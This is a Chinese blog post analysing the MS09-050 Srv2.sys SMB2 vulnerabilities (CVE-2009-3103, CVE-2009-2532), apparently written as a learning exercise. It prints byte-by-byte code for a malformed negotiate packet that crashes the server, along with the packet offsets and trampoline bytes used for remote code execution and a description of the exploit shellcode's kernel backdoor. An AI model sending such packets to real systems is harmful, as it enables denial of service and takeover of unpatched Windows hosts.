二进制漏洞挖掘学习——MS09-050

VSole2021-12-11 16:28:16

在学习漏洞的时候,按照0Day2书中第24章第1节的内容进行学习的,这章本来是远程拒绝服务的漏洞(CVE-2009-3103),但是当我在网上搜索这个漏洞的EXP时,意外的发现了Srv2.sys模块中的另一个漏洞(CVE-2009-2532),而这个漏洞竟然可以实现远程任意代码执行,诶,这我就不困了,然后顺手两个漏洞一起分析了,把Srv2.sys模块对数据包的接收处理过程逆向了一遍,了解了其中的漏洞利用原理。

首先在SRV2.sys模块中,SrvReceiveHandler(这个函数会处理发送过来的数据包)其主要功能是检查数据包长度是否正确:

并且分配一个WorkItem项,并将SrvProcessPacket()地址(数据包处理函数)填入到该项对应位置处,并填写WorkItem项中其他字段内容,用于后续的创建线程函数调用该函数进行数据包处理。

等待系统创建线程后续从队列中取出该WorkItem项时,系统调用SrvProcessPacket函数处理数据包。

这是该函数中唯一一处修改esi值的地方,此处的操作就是将esi - 16。这里根据微软官方文档及其他内核结构体猜测,从WorkItem队列中取出该WorkItem项时是通过双向链表取出来的,而为了指向WorkItem结构体的起始位置需要-16Byte。

接下来就调用SrvProcessPacket处理数据包了:

在SrvReceiveHandler函数中对WorkItem项的结构体进行赋值时:将SrvProcessPacket()函数的地址写入 esi+1Ch 中。

在函数SrvProcWorkerThread()函数创建新的线程时调用 esi+1Ch 处的函数,该位置处正好是SrvProcessPacket函数的地址,即为调用SrvProcessPacket函数。

在SrvProcessPacket函数中会调用Smb2ValidateProviderCallback()这个函数。

这部分是通过动态调试得到的结果。具体是怎么因为什么没有充分的证据链,因为太菜了没有相关的编程经验,所以没办法通过静态调试弄清楚,不过通过静态调试也看到了点眉目。

并且会在处理完数据包后,执行SrvProcComleteRequest()函数进行请求处理完成操作,而在这个函数中实现了任意地址写的功能(通过任意写先写出了跳板指令),并且也实现了任意代码执行的功能,是我们任意代码执行exp中利用的点。

而在Smb2ValidateProviderCallback()函数中,存在一个漏洞,该漏洞可以造成BSOD,实现远程拒绝服务。(CVE-2009-3103):

esi 指向接收到的数据包指针(数据包去除掉 NETBIOS Header)

首先esi指向收到的数据包,esi+0Ch字段为PIDHigh字段,正常情况下PIDHigh字段值应该为0,但是这里没有对eax的值就是PIDHigh字段进行限制,如果我们的PIDHigh字段的值为畸形函数的话,就会造成数组越界,通过查看ValidateRoutines数组值:

 (可知如果是正常情况PIDHigh字段为0,那么eax将指向Smb2ValidateNegotiate()函数。)

 接下来将进行 call eax操作,就会执行eax指向的函数,如果是正常情况下将执行Smb2ValidateNegotiate()函数,如果eax就会指向一个非法的地址,这就会造成BSOD,进而实现远程拒绝服务攻击。(总感觉这里其实也可以利用来进行任意代码执行)

 我们发送的数据包:

NETBIOS Header

buff = b'\x00' #Message Type : Session message

buff += b'\x00' #Flags

buff += b'\x00\x90' #Count of data bytes (netbios header not included)

SMB Base Header

buff += b'\xff\x53\x4d\x42' #Server Component: SMB Protocol[4]

buff += b'\x72' #Command

buff += b'\x00\x00\x00\x00' #Status

buff += b'\x18' #Flags

buff += b'\x53\xc8' #Flags2

buff += b'\x00\x26' #PIDHigh

#buff += b'\xFF\xFF'

buff += b'\x00\x00\x00\x00\x00\x00\x00\x00' #SecurityFeatures

buff += b'\x00\x00' #Reserved

buff += b'\xff\xff' #TID

buff += b'\xff\xfe' #PIDLow

buff += b'\x00\x00' #UID

buff += b'\x00\x00' #MID

buff += b'\x00' #WordCount

buff += b'\x6d\x00' #ByteCount

buff += b'\x02\x50\x43\x20\x4e\x45\x54' #Data

buff += b'\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31'

buff += b'\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00'

buff += b'\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57'

buff += b'\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61'

buff += b'\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c'

buff += b'\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c'

buff += b'\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e'

buff += b'\x30\x30\x32\x00'

通过动态调试了解到esi指向的内容为我们发送的数据包:

 

而在SrvProcCompleteRequest()函数中,存在两个个漏洞,这两个漏洞联合利用可以实现远程任意代码执行攻击。(CVE-2009-2532):

通过精心构造数据包(这部分构造的数据包有的字段并没有必要,我觉得当时作者将所有处理数据包的函数都逆向后写的exp,其中有些流程是不会走到的,所以有些字段是多余的)

(u32)(p+0x3C+4) = READ_ADDR;

(u8)(p+0xCC+4) = 0xCC;

(u32)(p+0xAC+4) = TRAMPOLINE_ADDR + off_pass;

(u32)(p+0x0CE+4) = 0x0;

(u32)(p+0x30+4) = READ_ADDR;

(u32)(p+0x78+4) = READ_ADDR;

(u32)(p+0x168+4) = 0x00000000;

(u8)(p+0xE0+4) = 0x90 | 0x04;

 

这部分刚好调用DPC例程,实际调用的函数为:SrvScavengerThread,不会对我们的攻击产生影响。

这部分存在一个问题就是为什么SrvScavengerThread函数不会对我们的ShellCode产生影响,没有具体的依据,不过该函数通过函数名可知是清除线程的函数,不会对我们的ShellCode产生影响,这里由于缺少编程经验,所以无法判断该函数的影响。

首先构造的数据包可以通过流程调用SrvProcPartialCompleteCompoundedRequest()函数,利用该函数可以实现任意地址写的功能。

进入SrvProcPartialCompleteCompoundedRequest()函数中,传递过来的是我们发送的数据包。

到达漏洞利用点。

可以看到其中eax可控,为数据包中头偏移0xAC地址处指向的内容+0xBC(p指向数据包,eax = [p+0xAC] + 0xBC),所以我们可以实现任意地址写功能,通过多次发送数据包实现写任意的功能(每发送一次数据包就会将这个地址处的内容++,*(eax)++),exp中利用这个任意写功能实现向内存中写入跳板指令,供之后的shellcode执行提供跳板。

这也是这个exp的亮点之一,通过这种方式实现向任意地址写的攻击,不是传统的简单的任意地址写的攻击,是一个比较好的漏洞利用思路。

而从数据包传送进SrvProcCompleteRequest()函数到执行完SrvProcPartialCompleteCompoundedRequest()函数,其中会对数据包的某些位置进行判断,所以在数据包的相应字段应该写入对应的数值:

首先在SrvProcCompleteRequest()函数中要执行到SrvProcPartialCompleteCompoundedRequest()函数中间会有如下判断:

(u8)(p + 0xCC + 4) = 0xCC;

(u32)(p + 0xAC + 4) = TRAMPOLINE_ADDR + off_pass;

在SrvProcPartialCompleteCompoundedRequest()函数中,要执行完毕中间会有如下判断:

(u8)(p + 0xE0 + 4) = 0x90 | 0x04;

(u32)(p + 0x78 + 4) = READ_ADDR;

而在通过任意地址写功能向目标地址写入跳板指令后,接下来就是通过跳板指令执行真正的攻击代码了。

可以看到其中eax可控,为数据包中头偏移0x168地址处指向的内容(p指向数据包,eax = [p+0x168] ),进而实现了任意代码执行功能。

这里部分值得注意的点就是esi指向我们发送的数据包,也就是我们输入的内容,可以通过esi将控制程序流程转入到我们发送的数据中。

所以exp中之前任意地址写入的数据就是: 0xC35646(inc esi,push esi,ret)(inc esi是因为0xff会干扰ShellCode执行,所以跳过)

这样程序就转入到了我们输入的数据中,实现了任意代码执行。

看exp中的ShellCode也挺有意思的,其先发送一个数据包通过之前设置的跳板指令执行在Srv2.sys模块中实现了一个类似的Hook(在Srv2.sys中开了个后门),之后任何发送过来的数据包都会被执行。

EXP放在了附件(点击最下方阅读原文前往下载)中,在Github上搜到的。

漏洞漏洞挖掘
本作品采用《CC 协议》,转载必须注明作者和本文链接
src漏洞挖掘浅谈
2023-02-20 11:22:13
信息收集就说到这里,信息收集的主要目的就是扩大可利用面,10000万个资产你可能碰到弱口令,但1个资产你肯定没有弱口令挖掘前篇前边已经讲了信息收集,在测试前为了能高效的挖掘src,就需要有数据进行测试,这个数据就是我们常说的字典,字典怎么来,整理,收集,经验,积累。金额,数量都是可以篡改的地方小结挖掘src漏洞最主要还是挖掘逻辑漏洞,无非就是耐心,细节,多留意数据包的可疑数据,数据包所实现的功能。
首先要上分那么一定是批量刷漏洞,不然不可能上得了分的,然后呢,既然要批量刷漏洞。两种思路:1.审计通用性漏洞2.用大佬已公布的漏洞思路1难度较大,耗时也较长。思路2难度适中,就是需要写脚本或者使用别人已经写好的脚本。这是泛微继与微信企业号合作后,又一个社交化管理平台的落地成果。简单的说,一般比较大的企业都会用这个平台来做一些钉钉或者微信接口对接泛微OA的功能。
关于漏洞的基础知识
2022-07-20 09:44:23
黑客可以通过修改事件完成的顺序来改变应用的行为。所以,进行有效的验证是安全处理文件的重要保证。这种类型的漏洞有可能是编程人员在编写程序时,因为程序的逻辑设计不合理或者错误而造成的程序逻辑漏洞。这种类型的漏洞最典型的是缓冲区溢出漏洞,它也是被黑客利用得最多的一种类型的漏洞
网络安全漏洞(以下简称“漏洞”)作为信息通信网络中在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,随着经济社会信息化、网络化、数字化和智能化程度的加深,对国家网络安全的影响也日益加剧。世界各主要国家和组织为了切实提升国家网络安全防护能力,围绕漏洞的研究、收集和利用,纷纷建立国家级漏洞通报平台或漏洞数据库。日本于2003年开始建设“日本漏洞通报”(JVN)平台;美国于 2005 年开始建设“
细说从0开始挖掘cms-
2022-08-17 16:26:57
确立目标挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。本次挖掘漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。
最后对响应的匹配,使用正则识别id命令之后的结果。成功扫描出CVE-2022-1388F5 BIG-IP API Unauthenticated RCE漏洞漏洞的请求也变异无误,最后的响应中也是执行了id命令。案例二:利用Scalpel工具挖掘多个0day漏洞Scalpel工具使用较为灵活,通过对检测目标变异响应的check,可以发现检测目标中未知的安全问题。同时发现某Apache开源项目的CVE漏洞,报告被该团队接受并正在修复,尚未披露。
攻击者可在无需认证的情况下,通过构造特殊的请求,触发反序列化,从而执行任意代码,接管运行ForgeRock AM的服务器。本文从漏洞挖掘的角度分析其中的技术细节,也将公开一些其他的反序列化点。
对于公益SRC来说,想要冲榜就不能在一个站上浪费大量时间,公益SRC对洞的质量要求不高,所以只要 花时间,还是可以上榜的。在对某站点进行测试SQL注入的时候,先通过一些方式测试是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工测试,然后提交漏洞。任意注册算是低危漏洞,不过也有两分。不管是进行SRC漏洞挖掘,还是做项目进行渗透测试,又或者是打红蓝对抗,一定要做好信息收集。
VSole
网络安全专家